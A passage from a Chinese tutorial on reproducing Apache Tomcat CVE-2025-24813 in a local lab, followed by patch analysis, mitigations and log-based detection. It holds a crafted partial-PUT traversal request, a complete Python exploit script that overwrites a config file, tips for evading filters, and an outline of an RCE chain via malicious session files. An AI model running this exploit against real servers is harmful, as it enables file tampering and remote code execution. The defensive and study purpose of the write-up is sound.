tomcat-cve-2025-24813 --tail 50你应该能看到Tomcat成功启动的日志。访问http://localhost:8080应该能看到Tomcat的默认主页。访问http://localhost:8080/vuln-app/uploads/public/可能会返回403禁止目录列表或404这没关系只要应用上下文能访问即可。注意事项在实验过程中务必确保这台实验主机没有暴露在公网且防火墙规则仅允许本地访问。我们是在完全可控的环境下进行漏洞研究。4. 漏洞复现与利用过程详解理解了原理搭建好了环境现在我们来亲手触发这个漏洞。我们将编写一个Python脚本来模拟攻击者演示如何利用路径等价问题从公共上传目录“穿越”到敏感子目录并覆盖其中的文件。4.1 构造攻击请求攻击的核心是发送一个特殊的HTTP PUT请求。这个请求需要满足目标URL指向公共上传目录下的一个包含内部点的文件名。Content-Range头部用于指定这是文件的一部分实现部分写入。请求体我们想要注入到目标敏感文件中的恶意内容。假设我们的目标敏感文件是/vuln-app/uploads/public/admin/secret/config.properties。 根据漏洞原理我们可以尝试构造这样一个PUT请求PUT /vuln-app/uploads/public/test./../admin/secret/config.properties HTTP/1.1 Host: localhost:8080 Content-Range: bytes 0-29/* Content-Length: 30 database.passwordHackedPassword关键点解析路径/vuln-app/uploads/public/test./../admin/secret/config.propertiestest.这是一个以点结尾的“文件名”或“目录名”。Tomcat的路径规范化逻辑在处理这个点时可能出现歧义。../由于test.可能被异常解析使得这个../得以生效向上跳出一级目录。最终攻击者意图让Tomcat将这个请求解析为对/vuln-app/uploads/public/admin/secret/config.properties的写入但实际上请求的起点是/vuln-app/uploads/public/。Content-Range: bytes 0-29/*表示这是文件从第0字节到第29字节的内容共30字节。*表示文件总长度未知。这个头部触发了Tomcat的部分PUT处理逻辑。请求体我们试图将敏感配置文件中的密码修改为HackedPassword。4.2 编写复现脚本下面是一个使用Pythonrequests库的复现脚本。它更清晰地展示了攻击过程并包含了错误处理。#!/usr/bin/env python3 CVE-2025-24813 漏洞复现脚本 (信息泄露/文件污染路径演示) 目标利用路径等价漏洞从公共上传目录穿越到子目录覆盖敏感文件。 注意仅用于授权测试和教育目的。 import requests import sys def exploit_cve_2025_24813(target_url, public_upload_path, sensitive_file_relative_path, malicious_content): 尝试利用CVE-2025-24813漏洞。 Args: target_url (str): 目标Tomcat基础URL如 http://192.168.1.100:8080 public_upload_path (str): 公共上传目录的URL路径如 /vuln-app/uploads/public/ sensitive_file_relative_path (str): 敏感文件相对于公共上传目录的路径如 admin/secret/config.properties malicious_content (bytes): 要写入的恶意内容字节串 # 1. 构造恶意路径在公共路径后添加一个带内部点的虚假段再接上 ../ 和敏感文件路径 # 例如/vuln-app/uploads/public/poc./../admin/secret/config.properties # 注意这里使用poc.作为虚假目录名点号是关键。 exploit_path public_upload_path.rstrip(/) /poc./../ sensitive_file_relative_path.lstrip(/) full_url target_url exploit_path print(f[*] 目标URL: {full_url}) print(f[*] 期望覆盖的敏感文件: {public_upload_path.rstrip(/)}/{sensitive_file_relative_path}) print(f[*] 恶意内容: {malicious_content.decode(utf-8, errorsignore)}) # 2. 准备请求头 headers { Host: target_url.split(//)[1].split(:)[0], # 提取主机名 Content-Range: fbytes 0-{len(malicious_content)-1}/*, # 部分PUT请求头 Content-Type: application/octet-stream, } # 3. 发送PUT请求 print(f[*] 发送恶意PUT请求...) try: response requests.put(full_url, datamalicious_content, headersheaders, timeout10) print(f[] 服务器响应状态码: {response.status_code}) print(f[] 服务器响应体: {response.text[:200]}) # 只打印前200字符 except requests.exceptions.RequestException as e: print(f[-] 请求失败: {e}) sys.exit(1) # 4. 验证攻击是否成功 # 尝试读取被覆盖的敏感文件通过GET请求 verify_url target_url public_upload_path.rstrip(/) / sensitive_file_relative_path.lstrip(/) print(f\n[*] 尝试验证文件内容访问: {verify_url}) try: verify_resp requests.get(verify_url, timeout10) if verify_resp.status_code 200: current_content verify_resp.text print(f[] 敏感文件当前内容: {current_content[:500]}) if malicious_content.decode(utf-8) in current_content: print([!!!] 漏洞利用成功敏感文件已被篡改。) else: print([-] 文件内容未被篡改或篡改内容不匹配。可能原因) print( - 路径构造未触发漏洞) print( - 目标文件不存在或不可写) print( - Tomcat配置不满足漏洞条件如readonly未设为false) else: print(f[-] 无法读取敏感文件HTTP状态码: {verify_resp.status_code}) except requests.exceptions.RequestException as e: print(f[-] 验证请求失败: {e}) if __name__ __main__: # 配置参数 - 根据你的实验环境修改 TARGET http://localhost:8080 PUBLIC_PATH /vuln-app/uploads/public/ SENSITIVE_FILE admin/secret/config.properties # 要注入的恶意内容 MALICIOUS_CONTENT bdatabase.passwordHackedByCVE202524813\nadmin.userattacker\n print(*60) print(CVE-2025-24813 Apache Tomcat 路径等价漏洞复现脚本) print(*60) exploit_cve_2025_24813(TARGET, PUBLIC_PATH, SENSITIVE_FILE, MALICIOUS_CONTENT)4.3 执行复现与结果分析运行脚本前确保你的Tomcat容器正在运行并且config.properties文件可能不存在我们脚本会创建它或存在旧内容。执行脚本python3 exploit_cve_2025_24813.py观察输出脚本会打印出构造的恶意URL。发送PUT请求后会显示Tomcat的响应状态码。如果返回201 Created或204 No Content通常表示文件写入成功。200 OK也可能表示成功替换。403 Forbidden或409 Conflict可能表示权限问题或路径问题。随后脚本会尝试GET请求那个敏感文件路径并打印其内容。成功的迹象PUT请求返回2xx状态码。后续GET请求返回的内容中包含我们注入的database.passwordHackedByCVE202524813。失败的可能原因与排查返回403检查Tomcat的web.xml中DefaultServlet的readonly是否已设为false。检查应用目录的Linux文件系统权限确保Tomcat进程通常用户是tomcat或容器内的root有写入权限。可以进入容器内部检查docker exec -it tomcat-cve-2025-24813 bash然后尝试在webapps目录下创建文件。返回404检查PUT请求的URL路径是否正确应用上下文vuln-app是否存在。确保uploads/public/目录已创建。返回409或其他错误可能是路径规范化逻辑成功阻止了穿越我们的路径构造方式不对。可以尝试其他变体如将poc.改为test..双点或poc././等或者调整../的位置。这正是漏洞利用需要技巧的地方需要根据目标Tomcat的细微版本差异进行模糊测试。写入成功但GET不到可能是写入的位置和我们预期读取的位置不同。检查Tomcat的工作目录work或者查看Tomcat的日志文件logs/catalina.out或logs/localhost.log里面可能会有关于文件操作的错误或访问日志。实操心得在实际测试中我发现在某些Tomcat小版本上路径构造需要一些“技巧”。例如有时需要使用URL编码如将.编码为%2e将/编码为%2f来绕过一些简单的字符串过滤。复现的关键在于耐心地尝试不同的路径变形并密切观察Tomcat的日志反馈。5. 深入探索RCE攻击链的构建思路信息泄露和文件污染已经足够危险但安全研究人员更关注的是如何将漏洞升级为RCE。如前所述这需要两个额外条件文件会话持久化和存在反序列化漏洞的库。这里我们探讨一下这个攻击链的构建思路由于涉及制作恶意序列化载荷这部分仅作原理性探讨不建议在没有完全隔离的沙箱中执行。5.1 条件准备启用文件会话持久化首先需要在测试应用中启用Tomcat的持久化会话管理器。编辑~/cve-2025-24813-lab/webapps/vuln-app/META-INF/context.xml如果不存在则创建?xml version1.0 encodingUTF-8? Context Manager classNameorg.apache.catalina.session.PersistentManager saveOnRestarttrue maxActiveSessions-1 minIdleSwap-1 maxIdleSwap-1 maxIdleBackup-1 Store classNameorg.apache.catalina.session.FileStore directory./session_data / /Manager /Context这将会话文件存储在应用工作目录下的session_data文件夹中。重启Tomcat后当应用创建会话时就能在work/Catalina/localhost/vuln-app/session_data/下看到.session文件。5.2 利用链的核心写入恶意会话文件攻击者的目标不再是覆盖一个properties文件而是向这个会话目录写入一个恶意的.session文件。假设攻击者通过信息泄露或其他手段知道了会话文件的命名规则通常是[sessionid].session和存储路径。利用CVE-2025-24813攻击者可以构造这样一个PUT请求PUT /vuln-app/uploads/public/evil./../WEB-INF/../session_data/恶意.session HTTP/1.1 ...通过路径穿越最终将恶意序列化数据写入到session_data目录。这里的路径构造需要更精确需要知道会话存储目录相对于应用根目录的实际路径。5.3 触发反序列化加载恶意会话最后一步是让Tomcat加载这个恶意会话文件。这通常更难因为需要让服务器主动去反序列化这个文件。有几种可能的方式会话固定攻击如果攻击者能预测或控制会话ID并且服务器在会话不存在时会尝试从持久化存储中加载那么攻击者可能通过使用特定会话ID访问应用来触发加载。服务器重启如果配置了saveOnRestarttrueTomcat重启时会加载持久化的会话。攻击者写入文件后等待或促使服务器重启这在实际攻击中不现实。结合其他漏洞例如一个SSRF漏洞可以让攻击者从内部请求这个会话文件或者一个反序列化入口点被触发。关键难点即使写入了恶意会话文件也需要一个合适的“反序列化gadget链”即存在漏洞的库如Commons Collections 3.2.1在应用的ClassPath中恶意载荷才能成功执行命令。这需要攻击者对目标应用的依赖有深入了解。重要警告RCE复现的复杂性和危险性远高于信息泄露复现。它需要精确的环境搭建、特定的第三方库以及可能对测试机造成损害的Payload。对于学习和研究理解其原理和攻击链即可不建议在非专业隔离环境中进行完整的RCE复现。6. 漏洞修复与缓解措施复现漏洞是为了更好地防御它。Apache官方已经发布了修复版本Tomcat 11.0.3, 10.1.35, 9.0.99。升级是最直接有效的方案。6.1 官方补丁分析官方修复的核心是改进了org.apache.tomcat.util.http.parser.HttpParser和org.apache.catalina.servlets.DefaultServlet中对请求URI路径的规范化逻辑确保在任何情况下都能正确解析和过滤包含内部点.的路径片段防止其被用于目录遍历。升级时务必从Apache官方镜像或官网下载并验证文件的哈希值防止供应链攻击。6.2 临时缓解方案如果无法立即升级可以采取以下缓解措施这些措施本质上是打破漏洞利用所需的“条件链”禁用DefaultServlet的写权限最有效检查所有应用的web.xml以及conf/web.xml确保所有DefaultServlet的readonly初始化参数均为true默认值。这是根治此类通过DefaultServlet进行文件上传攻击的方法。init-param param-namereadonly/param-name param-valuetrue/param-value /init-param禁用部分PUT支持在conf/web.xml的DefaultServlet配置中添加allowPartialPut参数并将其设为false。这会禁用Content-Range支持阻断利用关键一环。init-param param-nameallowPartialPut/param-name param-valuefalse/param-value /init-param审查应用配置避免使用Tomcat内置的会话持久化评估应用是否真的需要PersistentManager。对于大多数集群场景更推荐使用Redis、Memcached等外部会话存储方案它们更安全、性能更好。清理ClassPath中的危险库定期使用OWASP Dependency-Check等工具扫描项目依赖移除或升级存在已知反序列化漏洞的库如老版本的Commons Collections、Fastjson等。网络层防护在WAFWeb应用防火墙上配置规则拦截包含异常路径序列如/..、/.、文件名中含有点号后接斜杠等模式的PUT请求。严格限制使用HTTP PUT方法的URL路径。6.3 安全配置检查清单养成定期安全检查的习惯以下清单有助于降低Tomcat服务器的整体风险[ ] 是否运行了受CVE-2025-24813影响的Tomcat版本(9.0.0.M1 ≤ 版本 ≤ 9.0.98, 10.1.0-M1 ≤ 版本 ≤ 10.1.34, 11.0.0-M1 ≤ 版本 ≤ 11.0.2)[ ]conf/web.xml中所有DefaultServlet的readonly参数是否为true[ ] 是否在conf/web.xml中为DefaultServlet显式设置了allowPartialPutfalse[ ] 应用是否使用了PersistentManager进行文件会话持久化如果是考虑迁移方案。[ ] 应用依赖中是否包含已知存在反序列化漏洞的库[ ] 服务器上的文件上传功能是否由应用自身实现并进行了严格的类型、大小、路径校验[ ] 是否遵循最小权限原则Tomcat进程是否以非root用户运行7. 排查技巧与防御思考在应急响应或日常巡检中如何发现和排查CVE-2025-24813的利用迹象以下是一些实战思路。7.1 入侵检测与日志分析Tomcat的访问日志(logs/localhost_access_log.*.txt)是首要分析目标。关注以下特征的PUT请求异常的路径序列查找包含..、.%2e、%2e%2e、/./、或者文件名部分包含点号后紧跟斜杠/的URL。特定的User-Agent自动化攻击工具可能有特定的UA字符串。来源IP异常来自不常见地区或IP的PUT请求。例如在日志中搜索PUT方法和包含..或%2e的请求行grep -E \PUT.*(\.\.|%2e).*HTTP localhost_access_log.2025-03-20.txt同时检查Tomcat的应用日志(logs/catalina.out,logs/localhost.log)是否有关于文件写入失败、路径解析错误的异常堆栈信息。7.2 文件系统监控如果怀疑已被入侵检查可能被写入恶意文件的位置DefaultServlet可写目录检查所有Web应用目录下是否存在异常的上传文件特别是位于WEB-INF、META-INF或敏感配置目录附近的文件。Tomcat会话持久化目录检查work/Catalina/[hostname]/[appname]/下的会话存储目录查看是否有异常时间戳、异常大小的.session文件。Web根目录下的可疑文件如.jsp,.war等可执行文件。可以使用文件完整性监控工具如AIDE、Tripwire或简单的脚本定期校验关键目录文件的哈希值。7.3 防御性编程与架构建议从开发和安全运维角度根本的防御在于规范和架构原则永不信任用户输入。所有用户提供的路径、文件名参数必须进行严格的规范化使用getCanonicalPath()和白名单校验。禁用不必要的HTTP方法在反向代理如Nginx或Tomcat的conf/web.xml中通过security-constraint限制只有GET、POST等必要方法可用。使用专用文件服务对于文件上传下载建议使用MinIO、AWS S3等对象存储服务或通过专门的文件服务器处理与Web应用服务器分离。定期安全更新与扫描订阅Apache Tomcat安全公告建立规范的补丁更新流程。使用软件成分分析SCA工具持续扫描第三方依赖漏洞。通过这次对CVE-2025-24813从原理到复现的深度剖析我们可以看到一个高危漏洞往往是多个“安全债”叠加的结果。作为防御者我们的工作就是通过严格的安全配置、最小权限原则和深度防御策略不断抬高攻击者的成本确保我们的系统不会成为那个被推倒的“多米诺骨牌”。
![[C++]内存管理：串顺序存储的内存回收](http://pic.xiahunao.cn/yaotu/[C++]内存管理：串顺序存储的内存回收)
